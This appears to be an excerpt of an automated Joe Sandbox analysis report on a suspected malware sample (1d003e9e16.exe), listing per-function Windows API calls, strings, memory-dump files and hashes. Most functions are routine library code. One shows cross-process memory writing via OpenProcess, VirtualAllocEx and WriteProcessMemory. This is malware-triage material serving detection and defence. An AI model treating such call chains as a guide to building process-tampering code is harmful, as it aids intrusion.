GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 0041102A
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00411036
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00411045
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 0041104C
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00411062

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: f24d068d2cc723e1667697a87d16c4a286c9e2ac6b145e779fb9ce1d710fd2ab
Instruction ID: 298e0eee8e23ba741938352428b7c0acd832d21d05df24b774bb0dacd036082b
Opcode Fuzzy Hash: f24d068d2cc723e1667697a87d16c4a286c9e2ac6b145e779fb9ce1d710fd2ab
Instruction Fuzzy Hash: 0AF06D39642301EBDB215FA5EC89F973FADEF8A761F140425FA45E7260CA74D880CA64

Function 0042030F Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,?,0042017D,?,004232FC,?,00000001,003F2592,?), ref: 00420324
CloseHandle.KERNEL32(?,?,?,?,0042017D,?,004232FC,?,00000001,003F2592,?), ref: 00420331
CloseHandle.KERNEL32(?,?,?,?,0042017D,?,004232FC,?,00000001,003F2592,?), ref: 0042033E
CloseHandle.KERNEL32(?,?,?,?,0042017D,?,004232FC,?,00000001,003F2592,?), ref: 0042034B
CloseHandle.KERNEL32(?,?,?,?,0042017D,?,004232FC,?,00000001,003F2592,?), ref: 00420358
CloseHandle.KERNEL32(?,?,?,?,0042017D,?,004232FC,?,00000001,003F2592,?), ref: 00420365

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 2ef1bedea092c77b535c38531033b8149edd492b2e79b7c56d63eeda09d97172
Instruction ID: 28480f2d4ca281b22cc3b23bece8a50d137013e8f6cd9bedd9095942bb4ea0a0
Opcode Fuzzy Hash: 2ef1bedea092c77b535c38531033b8149edd492b2e79b7c56d63eeda09d97172
Instruction Fuzzy Hash: FA01E272900B218FC7309F66E880403FBF5BF503053048A3FD19252A32C374A944CF84

Function 003ED73A Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 003ED752

Part of subcall function 003E29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,003ED7D1,00000000,00000000,00000000,00000000,?,003ED7F8,00000000,00000007,00000000,?,003EDBF5,00000000), ref: 003E29DE
Part of subcall function 003E29C8: GetLastError.KERNEL32(00000000,?,003ED7D1,00000000,00000000,00000000,00000000,?,003ED7F8,00000000,00000007,00000000,?,003EDBF5,00000000,00000000), ref: 003E29F0

_free.LIBCMT ref: 003ED764
_free.LIBCMT ref: 003ED776
_free.LIBCMT ref: 003ED788
_free.LIBCMT ref: 003ED79A

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 519c8ffdd39dff2afe00e43fc4f1cc37398a30c134ef3a90c70d0b50ae2527cd
Instruction ID: cec21d205636ca1372afd0bd62933e8d5c59629177eeb85864c62c3251924f4e
Opcode Fuzzy Hash: 519c8ffdd39dff2afe00e43fc4f1cc37398a30c134ef3a90c70d0b50ae2527cd
Instruction Fuzzy Hash: DBF062725002A8AB8623FF66F9C2C1B77DDBB05311B971A19F048EB582C734FC808664

Function 00415C44 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00415C58
GetWindowTextW.USER32(00000000,?,00000100), ref: 00415C6F
MessageBeep.USER32(00000000), ref: 00415C87
KillTimer.USER32(?,0000040A), ref: 00415CA3
EndDialog.USER32(?,00000001), ref: 00415CBD

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: e7436783af143cbac98ae4ea7b90080f698841bc5094c56f32b6977ace0c7dd6
Instruction ID: 3c6bea2b730c8b136a1e7d10de393e1dc0dc1af6744e02b45c9489e77e498004
Opcode Fuzzy Hash: e7436783af143cbac98ae4ea7b90080f698841bc5094c56f32b6977ace0c7dd6
Instruction Fuzzy Hash: AE01DB34501704DBFB205F10DD8EFD677B8BB01705F04016AA643A10E1EBF459848A94

Function 003E22A0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 003E22BE

Part of subcall function 003E29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,003ED7D1,00000000,00000000,00000000,00000000,?,003ED7F8,00000000,00000007,00000000,?,003EDBF5,00000000), ref: 003E29DE
Part of subcall function 003E29C8: GetLastError.KERNEL32(00000000,?,003ED7D1,00000000,00000000,00000000,00000000,?,003ED7F8,00000000,00000007,00000000,?,003EDBF5,00000000,00000000), ref: 003E29F0

_free.LIBCMT ref: 003E22D0
_free.LIBCMT ref: 003E22E3
_free.LIBCMT ref: 003E22F4
_free.LIBCMT ref: 003E2305

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 4e545e1385c031b16d6f4e733092daf4947b4d26a4e491869107203e33453393
Instruction ID: d3bc90bad5736fa80d0ce0f8d08ac4018d015edcf5fcc961fbd0b052a742ea69
Opcode Fuzzy Hash: 4e545e1385c031b16d6f4e733092daf4947b4d26a4e491869107203e33453393
Instruction Fuzzy Hash: 4FF030718101748B8663BF65BC4284E3B6CB7197617025A6FF514DA2F2C73504629BAD

Function 003C95C5 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 003C95D4
StrokeAndFillPath.GDI32(?,?,004071F7,00000000,?,?,?), ref: 003C95F0
SelectObject.GDI32(?,00000000), ref: 003C9603
DeleteObject.GDI32 ref: 003C9616
StrokePath.GDI32(?), ref: 003C9631

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: cace0b6024d00fef95c9ec752c5fe9ff624e4d70875e7d4c35776e4c628ca600
Instruction ID: 7977576d02372222bad48979c4a960df4e50ddbecebf4d638243d8709a8a3c57
Opcode Fuzzy Hash: cace0b6024d00fef95c9ec752c5fe9ff624e4d70875e7d4c35776e4c628ca600
Instruction Fuzzy Hash: 10F03C74006604EBDB265F65ED5CB683B69AB02332F09863EF425990F0C73489A2DF28

Function 003E0F47 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 003E10F9
__freea.LIBCMT ref: 003E1117

Part of subcall function 003E1537: _free.LIBCMT ref: 003E154F

Strings

a/p, xrefs: 003E11DE
am/pm, xrefs: 003E117A

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: __freea$_free
String ID: a/p$am/pm
API String ID: 3432400110-3206640213
Opcode ID: 3a4e92ae1d25d360358f1745c56333c17df01c79f1fde8c93d66a4f182bf3857
Instruction ID: 98da8e62733333979c1fefc6bee7e4f53d987c9975e107195a5fb7126805962d
Opcode Fuzzy Hash: 3a4e92ae1d25d360358f1745c56333c17df01c79f1fde8c93d66a4f182bf3857
Instruction Fuzzy Hash: DBD117759002A6CACB2B9F6AC845BFEB7B4FF05300F250359E601ABAD5D3759D80CB91

Function 004361D0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 324COMMON

Download Yara Rule

APIs

Part of subcall function 003D0242: EnterCriticalSection.KERNEL32(0048070C,00481884,?,?,003C198B,00482518,?,?,?,003B12F9,00000000), ref: 003D024D
Part of subcall function 003D0242: LeaveCriticalSection.KERNEL32(0048070C,?,003C198B,00482518,?,?,?,003B12F9,00000000), ref: 003D028A

Part of subcall function 003D00A3: __onexit.LIBCMT ref: 003D00A9

__Init_thread_footer.LIBCMT ref: 00436238

Part of subcall function 003D01F8: EnterCriticalSection.KERNEL32(0048070C,?,?,003C8747,00482514), ref: 003D0202
Part of subcall function 003D01F8: LeaveCriticalSection.KERNEL32(0048070C,?,003C8747,00482514), ref: 003D0235

Part of subcall function 0042359C: LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 004235E4
Part of subcall function 0042359C: LoadStringW.USER32(00482390,?,00000FFF,?), ref: 0042360A

Strings

x#H, xrefs: 0043636F
x#H, xrefs: 00436353
x#H, xrefs: 0043633A

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CriticalSection$EnterLeaveLoadString$Init_thread_footer__onexit
String ID: x#H$x#H$x#H
API String ID: 1072379062-375009828
Opcode ID: 5a43e5877f4ff4847b65b6fea615685d4d2677ae2da7acd8332127f9c4561d00
Instruction ID: 045c7df757f5fabf8a05aead193ae9ed560000395ccd0828aa668e96950e8a4c
Opcode Fuzzy Hash: 5a43e5877f4ff4847b65b6fea615685d4d2677ae2da7acd8332127f9c4561d00
Instruction Fuzzy Hash: F6C19E71A0010AAFCB15EF58D890EBEB7B9EF48304F11806AFA059B291DB74ED45CB94

Function 003E5AA9 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

Strings

JO;, xrefs: 003E5BA8, 003E5C6C

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID:
String ID: JO;
API String ID: 0-1151757290
Opcode ID: 96be523a515c48010b8aaba1c5e35fcfa24be2afeb5a6406b23b32234f84d1e2
Instruction ID: 25b96f3815651b7b21828b288fbbe5eefefdebd76b20751ff0ea45d4084e699c
Opcode Fuzzy Hash: 96be523a515c48010b8aaba1c5e35fcfa24be2afeb5a6406b23b32234f84d1e2
Instruction Fuzzy Hash: 27510975D006699FCF139FA6C845FEE7BB8AF05318F15021AF405AB2D2D7719901CB61

Function 003E8A61 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 124COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,00000002,00000000,?,?,?,00000000,?,?,?,?), ref: 003E8B6E
GetLastError.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,00000000,00001000,?), ref: 003E8B7A
__dosmaperr.LIBCMT ref: 003E8B81

Strings

.=, xrefs: 003E8A63

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide__dosmaperr
String ID: .=
API String ID: 2434981716-4056814303
Opcode ID: b5044acd4f07b42fd4b4f1f8f9dea9930a291e049bfbb392bd6da1e51f60640d
Instruction ID: e31c710e1f71d22358cc15dea5cf6f4013c04c17b4e8ca17fa4620acd23ab0f3
Opcode Fuzzy Hash: b5044acd4f07b42fd4b4f1f8f9dea9930a291e049bfbb392bd6da1e51f60640d
Instruction Fuzzy Hash: CA417E70D040E6AFDB269F16C880A7D7F96DF45304B1987A9F48D8B6C2DE318C028794

Function 00412716 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0041B403: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,004121D0,?,?,00000034,00000800,?,00000034), ref: 0041B42D

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00412760

Part of subcall function 0041B3CE: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,004121FF,?,?,00000800,?,00001073,00000000,?,?), ref: 0041B3F8

Part of subcall function 0041B32A: GetWindowThreadProcessId.USER32(?,?), ref: 0041B355
Part of subcall function 0041B32A: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00412194,00000034,?,?,00001004,00000000,00000000), ref: 0041B365
Part of subcall function 0041B32A: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00412194,00000034,?,?,00001004,00000000,00000000), ref: 0041B37B

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 004127CD
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0041281A

Strings

@, xrefs: 00412832

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 5083d959ddba812b02ad5b16752e28367e7f15f22e8a8b4041f3b9b3725448b1
Instruction ID: 9017d4f027ab0df49a891cdebb4932b2b0db607aa98ea734cc2ad6e4e57621ea
Opcode Fuzzy Hash: 5083d959ddba812b02ad5b16752e28367e7f15f22e8a8b4041f3b9b3725448b1
Instruction Fuzzy Hash: C6414F76900218BFDB11DFA4CD81ADEBBB8EF05304F00809AFA55B7181DB746E95CBA4

Function 003E172E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe,00000104), ref: 003E1769
_free.LIBCMT ref: 003E1834
_free.LIBCMT ref: 003E183E

Strings

C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe, xrefs: 003E1760, 003E1767, 003E1796, 003E17CE

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe
API String ID: 2506810119-4150685987
Opcode ID: b0639971a0e40a68aad22475cb0228ef8c5acb4c299f07f5421d81e5e97c8908
Instruction ID: 3f7f0334f1af920a7a01c1af18c095143c35dae6ef8d99878712d887fc6e0286
Opcode Fuzzy Hash: b0639971a0e40a68aad22475cb0228ef8c5acb4c299f07f5421d81e5e97c8908
Instruction Fuzzy Hash: 72318475A002A8EFDB22DB9ADC81D9EBBFCEB85710B1542AAF80497251D7705E41CB90

Function 0041C27D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 0041C306
DeleteMenu.USER32(?,00000007,00000000), ref: 0041C34C
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00481990,00E859B0), ref: 0041C395

Strings

0, xrefs: 0041C2DF

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: 0
API String ID: 135850232-4108050209
Opcode ID: 9f09d2916cc6d868b97206d66011aace8969535b3dc69afee5d0365198357237
Instruction ID: 0d0e244f926e5e9f935b16b04d77d4a554f1e3108e5a830e583991cd344009b5
Opcode Fuzzy Hash: 9f09d2916cc6d868b97206d66011aace8969535b3dc69afee5d0365198357237
Instruction Fuzzy Hash: D541BF312843019FD720DF25DC84B9BBBE4AB85314F04861FF9A597391C734A945CB5A

Function 00444416 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0044CC08,00000000,?,?,?,?), ref: 004444AA
GetWindowLongW.USER32 ref: 004444C7
SetWindowLongW.USER32(?,000000F0,00000000), ref: 004444D7

Strings

SysTreeView32, xrefs: 0044447C

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: f06f19a5e849b9cd73362d03a628756f6c90220f83de1f2775c9857ca564dcde
Instruction ID: 204ab44869b8b192dc392805f6477b852fff219d21c41bea110bf32ce8e0e194
Opcode Fuzzy Hash: f06f19a5e849b9cd73362d03a628756f6c90220f83de1f2775c9857ca564dcde
Instruction Fuzzy Hash: DA319E31200605ABEF219F38DC45BDB77A9EB48334F244726F975922D0D778AC509B54

Function 00444537 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 0044461F
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00444634

Strings

8Y, xrefs: 004445D7
', xrefs: 0044458E

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: MessageSend
String ID: '$8Y
API String ID: 3850602802-1479329528
Opcode ID: 95f821a54266887f8c420861665a39bd5af0a2fe5a14a3750483768ac855abb7
Instruction ID: 36686762512fc47741a04032cd829636dedf50c771dfc034ceab03e8603ec0a9
Opcode Fuzzy Hash: 95f821a54266887f8c420861665a39bd5af0a2fe5a14a3750483768ac855abb7
Instruction Fuzzy Hash: 8A314C74A01309AFEF14CFA9C981BDA7BB5FF49300F15406AEA04AB391D774A941CF94

Function 00416E71 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92memoryCOMMON

Download Yara Rule

APIs

SysReAllocString.OLEAUT32(?,?), ref: 00416EED
VariantCopyInd.OLEAUT32(?,?), ref: 00416F08
VariantClear.OLEAUT32(?), ref: 00416F12

Strings

*jA, xrefs: 00416E8B, 00416E90, 00416EF8

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Variant$AllocClearCopyString
String ID: *jA
API String ID: 2173805711-1414719503
Opcode ID: 68dc77ede5edc99018b13c89379cb3354182bd9745e25a6489f2e2e20fae9bbd
Instruction ID: c7c8ceea2b023b83b5f95fb462ffd7335010a464f20d3fd6ca47b7cb95e9959b
Opcode Fuzzy Hash: 68dc77ede5edc99018b13c89379cb3354182bd9745e25a6489f2e2e20fae9bbd
Instruction Fuzzy Hash: 6631BE71704205DBCB05AFA4E8919FE77B9EF81304B1104AAF9064F2B1CB38D953CB99

Function 0043304E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0043335B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,00433077,?,?), ref: 00433378

inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 0043307A
_wcslen.LIBCMT ref: 0043309B
htons.WSOCK32(00000000,?,?,00000000), ref: 00433106

Strings

255.255.255.255, xrefs: 00433095, 0043309A

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
